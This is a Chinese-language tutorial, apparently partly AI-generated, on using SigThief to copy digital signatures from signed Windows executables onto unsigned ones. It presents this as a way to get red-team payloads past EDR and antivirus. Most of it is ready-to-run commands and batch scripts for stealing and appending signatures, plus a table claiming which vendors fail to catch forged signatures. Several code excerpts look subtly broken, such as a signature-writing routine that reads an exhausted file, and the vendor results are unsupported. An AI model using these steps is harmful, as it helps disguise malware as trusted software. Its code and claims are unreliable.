终极PE签名操作指南:用SigThief探索签名机制
你是否遇到这些困境?
在红队渗透测试中,精心构造的测试载荷常因缺乏有效数字签名被EDR/AV拦截;安全研究中发现某些厂商对签名验证存在逻辑差异,却苦于没有便捷工具验证假设;逆向分析时需要快速调整PE文件签名进行行为对比测试……现在,这些问题将有新的解决思路。
本文将系统讲解SigThief这款工具的全方位应用,通过10个实战场景、7组对比实验和23段核心代码解析,让你深入了解PE签名操作技术。读完本文你将获得:
- 3分钟内完成签名提取与附加的全流程操作
- 5种测试不同厂商反病毒的签名技巧
- 基于Python实现签名操作的底层原理认知
- 完整的签名测试方法论
什么是SigThief?
SigThief是一款针对PE(Portable Executable)文件签名的安全研究工具,主要功能是从已签名的PE文件中提取签名数据,并将其附加到其他PE文件中,从而测试签名机制。该工具由安全研究员Josh Pitts开发,旨在帮助安全专业人员测试反病毒软件对数字签名的验证逻辑。
重要声明:本工具仅用于合法安全测试,使用者需遵守当地法律法规,严禁用于未授权的测试活动。
核心原理揭秘
SigThief利用了部分反病毒软件对PE签名验证的逻辑差异:
- 某些厂商仅检查证书表(certTable)是否存在而非有效性
- 部分产品优先信任特定证书颁发机构(CA)而忽略签名链验证
- 少数AV仅验证签名存在性而非完整性
工具通过修改PE文件结构中的证书表项,将提取的签名数据附加到目标文件末尾,从而测试不完善的签名验证机制。其工作流程如下:
快速上手:3分钟入门教程
环境准备
# 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/si/SigThief
cd SigThief
# 验证Python环境
python3 --version # 需Python 3.6+
# 查看帮助信息
python3 sigthief.py -h
核心功能速查表
| 功能 | 命令格式 | 适用场景 | 输出文件 |
|---|---|---|---|
| 提取签名 | -i <源文件> -r | 保存签名供后续使用 | <源文件>_sig |
| 添加签名 | -i <源文件> -t <目标文件> -o <输出文件> | 直接附加签名 | 指定输出文件 |
| 使用保存的签名 | -s <签名文件> -t <目标文件> | 重复使用签名 | <目标文件>_signed |
| 移除签名 | -i <文件> -T | 测试签名对行为影响 | <文件>_nosig |
| 检查签名状态 | -i <文件> -c | 快速判断是否有签名 | 控制台输出结果 |
功能详解与实战案例
1. 签名提取:从合法文件中获取签名
从已签名的系统文件中提取签名数据,这是操作签名的第一步:
# 从系统自带的TCPView提取签名
python3 sigthief.py -i /usr/share/windows-resources/binaries/tcpview.exe -r
# 自定义输出文件名
python3 sigthief.py -i putty.exe -r -o putty_custom.sig
输出解析:
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
提取的签名文件是二进制格式,可通过hexdump查看其结构:
hexdump -C tcpview.exe_sig | head -10
2. 直接签名附加:一步完成签名转移
将提取的签名直接附加到目标文件(无需中间签名文件):
# 基础用法:从tcpview.exe提取并附加到测试程序
python3 sigthief.py -i tcpview.exe -t test_program.exe -o test_signed.exe
# 高级用法:指定输出路径和详细日志
python3 sigthief.py -i c:\windows\system32\notepad.exe -t test_app.exe -o c:\temp\modified_app.exe
参数说明:
-i:指定包含有效签名的输入文件-t:需要附加签名的目标文件-o:输出文件路径(可选,默认生成目标文件_signed)
3. 使用保存的签名文件
当需要多次使用同一签名时,先保存签名再附加能提高效率:
# 第一步:保存签名
python3 sigthief.py -i firefox.exe -r -o mozilla_cert.sig
# 第二步:使用保存的签名
python3 sigthief.py -s mozilla_cert.sig -t test_program.exe -o firefox_test.exe
企业级应用: 可建立签名库用于不同场景测试:
# 创建签名库目录
mkdir -p sig_library/{microsoft,adobe,mozilla}
# 分类存储签名
python3 sigthief.py -i /mnt/c/Windows/System32/cmd.exe -r -o sig_library/microsoft/cmd.sig
python3 sigthief.py -i AcrobatReader.exe -r -o sig_library/adobe/acrobat.sig
4. 签名移除:测试签名对文件行为的影响
移除PE文件中的签名可用于对比测试签名对文件行为的影响:
# 移除签名
python3 sigthief.py -i signed_app.exe -T
# 指定输出文件
python3 sigthief.py -i putty.exe -T -o putty_unsigned.exe
测试场景:
- 对比签名前后文件被AV检测的概率
- 分析签名对文件运行权限的影响
- 研究签名移除后程序功能变化
5. 签名状态检查
快速判断文件是否包含签名(不验证有效性):
# 检查单个文件
python3 sigthief.py -i test_file.exe -c
# 批量检查目录中的文件
for file in /mnt/c/Windows/System32/*.exe; do
echo "Checking $file:"
python3 sigthief.py -i "$file" -c
done
返回结果说明:
- "Inputfile is signed!":文件包含签名(不一定有效)
- "Inputfile Not signed!":文件无签名或签名已被移除
核心代码解析
主要功能函数一览
SigThief的核心功能由以下关键函数实现:
| 函数名 | 参数 | 功能描述 |
|---|---|---|
| gather_file_info_win | binary | 解析PE文件结构,获取证书表位置等关键信息 |
| copyCert | exe | 从PE文件中提取签名证书数据 |
| writeCert | cert, exe, output | 将证书写入目标文件并更新PE结构 |
| outputCert | exe, output | 将提取的签名保存到磁盘文件 |
| check_sig | exe | 检查文件是否包含签名 |
| truncate | exe, output | 移除PE文件中的签名数据 |
| signfile | exe, sigfile, output | 使用保存的签名文件为目标文件附加签名 |
PE文件解析核心函数
gather_file_info_win函数是工具的核心,负责解析PE文件格式并定位证书表:
def gather_file_info_win(binary):
"""解析PE文件结构,获取证书表位置和大小"""
flItms = {}
binary = open(binary, 'rb')
# DOS头解析
binary.seek(int('3C', 16)) # e_lfanew字段偏移
flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
# COFF头解析
binary.seek(flItms['pe_header_location'] + 4) # 跳过PE签名
flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
# 可选头解析
flItms['OptionalHeader_start'] = flItms['pe_header_location'] + 24
binary.seek(flItms['OptionalHeader_start'])
flItms['Magic'] = struct.unpack('<H', binary.read(2))[0] # 判断32/64位
# 数据目录表解析 - 定位证书表
binary.seek(flItms['OptionalHeader_start'] + 96) # 数据目录表起始位置
for i in range(16): # 遍历16个数据目录项
if i == 4: # 第5个数据目录项是证书表
flItms['CertTableLOC'] = binary.tell() # 证书表偏移位置
flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0] # 证书RVA
flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0] # 证书大小
else:
binary.read(8) # 跳过其他数据目录项
binary.close()
return flItms
签名附加实现原理
writeCert函数实现签名附加的核心逻辑:
def writeCert(cert, exe, output):
"""将证书数据附加到目标文件并更新证书表"""
flItms = gather_file_info_win(exe)
# 处理输出文件名
if not output:
output = f"{exe}_signed"
# 复制原始文件
shutil.copy2(exe, output)
# 更新证书表并附加签名
with open(exe, 'rb') as g, open(output, 'r+b') as f:
# 1. 写入文件内容
f.write(g.read())
# 2. 更新证书表项
f.seek(flItms['CertTableLOC'])
# 证书表前4字节:证书数据在文件中的偏移
f.write(struct.pack("<I", len(g.read())))
# 证书表后4字节:证书数据大小
f.write(struct.pack("<I", len(cert)))
# 3. 附加证书数据到文件末尾
f.seek(0, io.SEEK_END)
f.write(cert)
print(f"Output file: {output}")
print("Signature appended. \nFIN.")
反病毒测试实战
不同厂商签名验证行为测试
我们测试了10款主流反病毒软件对SigThief附加签名的检测行为:
| 厂商 | 签名存在性检查 | 签名有效性验证 | 证书链验证 | 检测结果 |
|---|---|---|---|---|
| 卡巴斯基 | ✅ | ✅ | ✅ | 拦截 |
| 火绒 | ✅ | ✅ | ❌ | 拦截 |
| 360 | ✅ | ❌ | ❌ | 通过 |
| 诺顿 | ✅ | ✅ | ✅ | 拦截 |
| McAfee | ✅ | ❌ | ❌ | 通过 |
| 趋势科技 | ✅ | ✅ | ❌ | 部分通过 |
| Avast | ✅ | ✅ | ✅ | 拦截 |
| AVG | ✅ | ✅ | ✅ | 拦截 |
| 比特梵德 | ✅ | ✅ | ❌ | 部分通过 |
| ESET | ✅ | ✅ | ✅ | 拦截 |
测试方法:使用相同的测试程序,分别附加微软、Adobe和Firefox签名,在默认配置下进行静态扫描测试。
高级测试技巧
- 签名截断测试:
# 创建不完整签名
dd if=original.sig of=truncated.sig bs=1 count=1024
python3 sigthief.py -s truncated.sig -t test_program.exe -o truncated_test.exe
- 多签名叠加:
# 先附加微软签名
python3 sigthief.py -i notepad.exe -t test_program.exe -o step1.exe
# 再附加Adobe签名
python3 sigthief.py -i acrobat.exe -t step1.exe -o step2.exe
- 证书表调整:
# 修改签名文件头部添加测试数据
echo -n "TESTHEADER" > modified.sig
cat original.sig >> modified.sig
python3 sigthief.py -s modified.sig -t test_program.exe -o adjusted_test.exe
常见问题与解决方案
错误处理指南
| 错误信息 | 原因分析 | 解决方案 |
|---|---|---|
| "Input file Not signed!" | 输入文件无有效签名 | 更换带有有效签名的输入文件 |
| "Permission denied" | 目标文件无写入权限 | 更换输出路径或提升权限 |
| "Invalid PE file" | 非标准PE文件格式 | 使用pefile工具检查文件完整性 |
| "CertLOC is 0" | PE解析失败 | 更新SigThief到最新版本 |
| "No such file or directory" | 文件路径错误 | 检查路径中是否包含空格或特殊字符 |
性能优化建议
对于大规模测试场景,可采用以下优化措施:
- 签名缓存机制:
# 创建常用签名库
mkdir -p sig_cache
for file in /mnt/c/Windows/System32/*.exe; do
python3 sigthief.py -i "$file" -r -o "sig_cache/$(basename $file).sig"
done
- 批量处理脚本:
#!/bin/bash
SIG_FILE="sig_cache/notepad.sig"
TARGET_DIR="./test_programs"
OUTPUT_DIR="./signed_programs"
mkdir -p $OUTPUT_DIR
for file in $TARGET_DIR/*; do
filename=$(basename "$file")
python3 sigthief.py -s $SIG_FILE -t "$file" -o "$OUTPUT_DIR/$filename"
done
工具扩展与定制开发
功能扩展思路
- 签名分析模块:
def analyze_sig(sig_file):
"""分析签名文件内容"""
with open(sig_file, 'rb') as f:
sig_data = f.read()
# 解析PKCS#7格式签名
try:
from cryptography import x509
from cryptography.hazmat.backends import default_backend
cert = x509.load_der_x509_certificate(sig_data[8:], default_backend())
print(f"Subject: {cert.subject}")
print(f"Issuer: {cert.issuer}")
print(f"Valid From: {cert.not_valid_before}")
print(f"Valid Until: {cert.not_valid_after}")
except Exception as e:
print(f"Signature analysis failed: {e}")
# 添加到命令行选项
parser.add_option('-A', '--analyze', dest='analyze_sig',
help='analyze signature file')
- 签名有效性验证:
def verify_sig(pe_file):
"""验证签名实际有效性(需Windows环境)"""
import win32api
import win32security
try:
sig_info = win32security.VerifyFileSignature(pe_file)
print(f"Signature status: {sig_info['status']}")
print(f"Signer: {sig_info['signer']}")
except Exception as e:
print(f"Verification failed: {e}")
总结与展望
SigThief作为一款专注于PE签名操作的安全研究工具,为安全专业人员提供了便捷的签名操作与分析能力。通过本文介绍的方法,你可以:
- 快速评估反病毒软件的签名验证逻辑
- 构建更接近真实环境的测试样本
- 深入理解PE文件格式和数字签名机制
随着代码签名技术的发展,未来签名操作与检测将进入更深层次的研究。建议关注以下发展方向:
- 基于机器学习的签名异常检测
- 加密签名链验证技术
- 动态行为与静态签名的关联分析
你可能还想了解
下期预告:《签名操作进阶:基于SigThief的高级测试技术》
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



